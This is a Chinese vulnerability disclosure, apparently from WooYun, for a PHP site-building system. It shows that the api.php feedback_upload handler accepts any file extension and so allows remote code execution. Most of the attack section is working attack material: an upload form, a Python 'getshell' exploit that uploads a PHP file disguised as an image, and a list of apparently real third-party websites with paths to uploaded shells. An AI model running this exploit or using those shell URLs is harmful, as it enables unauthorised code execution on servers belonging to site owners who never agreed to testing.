2015-11-23: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-01-11: 厂商已经主动忽略漏洞,细节向公众公开
前台任意代码执行
api.php
<?phpini_set("max_execution_time","1800");include('include/config.php');include('include/function.php');include('include/class_mysql.php');nocache();$tcz=array('log'=>arg('log','all','url'));$db=new mysql();switch($tcz['log']){ ... case 'feedback_upload': @$webdomain=$_SERVER['SERVER_NAME']; $website=db_getshow('website','*','setup_weburl="'.$webdomain.'"'); echo $website['webid']; if(!$website){ die('error'); exit; } if($_FILES["file"]["error"]>0){ echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",msg:"error1"});</script>'; exit; }else{ $fsize=$_FILES['file']['size']/1024; if($fsize>5120){ echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",msg:"error2"});</script>'; exit; } // 获取扩展名 $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION)); // 组合文件名 $filename=date('dHis').'_'.randomkeys(6).'.'.$typename; // 组合路径 $path=setup_upfolder.$website['webid'].'/'.setup_uptemp.$filename; // shell move_uploaded_file($_FILES['file']['tmp_name'],$path); echo '<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",file:"'.$filename.'"});</script>'; } break; default: $url=$_SERVER["QUERY_STRING"]; if($url!=''){ $url=preg_replace('/^\//','',$url); gotourl($url); } break; }?>
前面直接引入了配置文件、方法封装、操作类文件,没有做其他验证,跟进查看 arg
function arg($aname='log',$gtype='post',$atype='string',$len=0){$val='';switch($gtype){ case "get": @$val=$_GET[$aname]; break; case "post": @$val=$_POST[$aname]; break; case "all": @$val=$_GET[$aname]; if($val=='')@$val=$_POST[$aname]; break; }switch($atype){ case 'int': if($val=='')$val='0'; $val=sprintf('%.0f',$val); break; case 'num': $val=floatval($val); if($val<1)$val=1; break; case 'url': $val=trim($val); StopAttack($aname,$val,$gtype); $val=urldecode($val); break; case 'txt': $val=trim($val); StopAttack($aname,$val,$gtype); $val=urldecode($val); $val=htmlspecialchars($val); break; case 'rate': $val=urldecode($val); if($val=='')$val=0; $val=(float)$val; $val=sprintf('%.4f',$val); break; case 'decimal': $val=urldecode($val); if($val=='')$val=0; $val=(float)$val; $val=sprintf('%.'.goif($len,$len,2).'f',$val); break; case 'none': break; default: StopAttack($aname,$val,$gtype); $val=htmlspecialchars($val); break; }return $val;}
根据构造表单
<form action="http://app.com/api.php?log=feedback_upload" method="post" enctype="multipart/form-data"><input type="file" name="file"><br><br><input type="submit" value="upload"></form>
Response:
10001<script type="text/javascript">parent.PZ.sendfeedback_upload({log:"success",file:"22170707_shhxyo.php"});</script>
附上Exploit:
#!/usr/bin/env python#coding=utf-8import requestsimport redef getshell(host): if not host.startswith('http://') and not host.startswith('https://'): url = 'http://' + host else: url = host files = {'file': ('x.php', open('e:\\ma\\php\\phpinfo.txt', 'rb'), 'image/png')} req = requests.post(url + '/api.php?log=feedback_upload', files = files) match = re.search(r'(\d{5}).*file:"(.*\.php)"', req.content) if match.group(1) and match.group(2): shell = '%s/upload/%s/temp/%s'%(url, match.group(1), match.group(2)) req = requests.get(shell) if req.status_code == 200: print shell else: print match.group()if __name__ == '__main__': getshell('http://app.com/')
http://fffyun.com//upload/10001/temp/22171802_kmvz96.phphttp://www.855m.com//upload/10001/temp/22171830_b9d5i1.phphttp://www.shuguangcm.com//upload/10001/temp/22171842_ztds2l.phphttp://www.xi7.net//upload/10001/temp/22131216_74zy6n.phphttp://weng8.com//upload/10001/temp/22171915_5o9n34.phphttp://www.jqr666.com//upload/10001/temp/22172116_633occ.phphttp://ihbhc.com//upload/10001/temp/22172133_vn4zc2.php...
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)